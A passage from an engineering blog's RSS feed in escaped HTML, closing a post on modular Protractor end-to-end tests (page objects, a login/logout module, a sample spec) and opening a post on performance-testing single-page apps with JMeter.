function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;password&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submitButton &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;by&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.login-form button[type=&quot;submit&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//******************** functions *******************&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;setUserName&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userName&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userName&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sendKeys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;username&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;clickSubmit&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submitButton&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; log&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;loginPage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;common-module&lt;/strong&gt;: The idea is to divide the entire e2e scenario in small reusable functions in a way that these functions can be used in other e2e scenarios as well. These reusable functions can be grouped in different files for maintainblity. The login and logout module is used in many e2e scenarios. So, both can be clubbed in a file as shown below :&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/*File Name : LoginOut.js*/&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; loginPage &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;loginPage.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; userName &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;test@wingify.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pass &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;12345&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;login&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//delete all cookies&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;manage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;deleteAllCookies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; loginPage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;log&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setUserName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;userName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; loginPage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;log&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setPassword&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pass&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; loginPage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;log&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;clickSubmit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;wait&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getCurrentUrl&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token regex&quot;&gt;/welcome/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;manage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getCookie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;login&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cookie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toBeDefined&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cookie&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;not&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toEqual&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;logout&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//logout script&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;e2e-scripts&lt;/strong&gt;: Include all the common-module functions to write the complete e2e-script as shown below :&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/*File Name : CreateNewUserE2E.js*/&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; loginMod &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;loginOut.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;describe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Create a new user in the account and verify&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/*Load Test Url */&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;use strict&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Verify login&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; loginMod&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* Rest of the modules to verify user creation */&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Verify logout&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; loginMod&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;logout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;to-conclude&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#to-conclude&quot; aria-label=&quot;to conclude permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;To conclude&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Take an extra step to write test cases in a way that they can be edited and maintained with ease.&lt;/li&gt; &lt;li&gt;Create a modular approach keeping scalability in mind.&lt;/li&gt; &lt;li&gt;Dive deep in the protractor world, use protractor&apos;s awesome functions and have fun!!&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Hope this post was a good enough reference to help you write end-to-end tests in a better way. If things might be unclear, or you have any questions, let us know via comments.&lt;/p&gt; &lt;h2 id=&quot;links--references&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#links--references&quot; aria-label=&quot;links references permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Links &amp;#x26; references&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Protractor API: &lt;a href=&quot;http://angular.github.io/protractor/#/api&quot;&gt;http://angular.github.io/protractor/#/api&lt;/a&gt;&lt;/li&gt; &lt;li&gt;npm xlsjs: &lt;a href=&quot;https://www.npmjs.com/package/xlsjs&quot;&gt;https://www.npmjs.com/package/xlsjs&lt;/a&gt;&lt;/li&gt; &lt;li&gt;ng-learn: &lt;a href=&quot;http://ng-learn.org/2014/02/Protractor_Testing_With_Angular_And_Non_Angular_Sites/&quot;&gt;http://ng-learn.org/2014/02/Protractor&lt;em&gt;Testing&lt;/em&gt;With&lt;em&gt;Angular&lt;/em&gt;And&lt;em&gt;Non&lt;/em&gt;Angular_Sites/&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Kamal Sahni</author></item><item><title><![CDATA[Overcoming the Challenges of Performance Testing Single-page Apps]]></title><description><![CDATA[To begin with, lets talk about two of the most important things are that come to mind when we talk about performance testing. The Metrics to…]]></description><link>https://engineering.wingify.com//posts/performance-testing/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/performance-testing/</guid><pubDate>Thu, 29 Jan 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;To begin with, lets talk about two of the most important things are that come to mind when we talk about performance testing.&lt;/p&gt; &lt;h3 id=&quot;the-metrics-to-measure&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-metrics-to-measure&quot; aria-label=&quot;the metrics to measure permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Metrics to Measure&lt;/h3&gt; &lt;p&gt;First lets consider the metrics to measure. Few important metrics that should always be considered are:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Response time which could include Javascript file load time, Image load time, CSS file load time, Content Download time etc.&lt;/li&gt; &lt;li&gt;Number of HTTP Request and HTTP Response status.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;dependencies&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dependencies&quot; aria-label=&quot;dependencies permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Dependencies&lt;/h3&gt; &lt;p&gt;Coming to second part i.e. Dependencies. Now this could be broadly classified by 2 groups: &lt;/p&gt; &lt;ol&gt; &lt;li&gt;Client-side testing&lt;/li&gt; &lt;li&gt;Server-side (API level) testing&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Most of the people focus on testing their servers and APIs. But server-side testing is not enough these days, as its hard to find applications which do not use Javascript/Ajax today.&lt;/p&gt; &lt;p&gt;In single-page apps, the performance equally depends on both the client-side and the server-side. &lt;/p&gt; &lt;p&gt;Since single-page apps are Javascript/Ajax enabled, measuring performance from server/API level is not enough. Even poorly written javascript code can majorly affect the performance of the app.&lt;/p&gt; &lt;p&gt;Client-side performance testing can also be done using popular tools like &lt;a href=&quot;https://developers.google.com/speed/pagespeed/&quot;&gt;Google Page Speed&lt;/a&gt; or &lt;a href=&quot;http://webpagetest.org&quot;&gt;Webpagetest.org&lt;/a&gt;. But they cannot test different modules of the application separately. They&apos;d just test the URLs you enter. To test different sections of your application, we can follow a different approach. &lt;/p&gt; &lt;p&gt;In this blog post, I’m going to show you how to use the most popular open-source tool (JMeter)[http://jmeter.apache.org/] to performance test AJAX-enabled websites.&lt;/p&gt; &lt;h2 id=&quot;challenges&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#challenges&quot; aria-label=&quot;challenges permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Challenges&lt;/h2&gt; &lt;p&gt;A well-known limitation of JMeter is that it isn&apos;t a browser i.e its inability to execute Javascript. This and that when JMeter makes a request to a page, AJAX calls are not automatically executed. JMeter does store Javascript requests when recorded but this is done as individual sampler.&lt;/p&gt; &lt;p&gt;Now to overcome this challenge we have a few options we can work on:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Use WebDriver Sampler to measure the response time in a real time browser. Combining this with JMeter load test, we can measure the real time user experience when we apply severe load.&lt;/li&gt; &lt;li&gt;Use JUnit Sampler to create selenium scripts using tools like Eclipse. Using this approach one can export JAR fie to JMeter and run the test in browser.&lt;/li&gt; &lt;li&gt;Simulate an Ajax request using JSR223 sampler.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Lets talk in further detail about these methods to performance test.&lt;/p&gt; &lt;h3 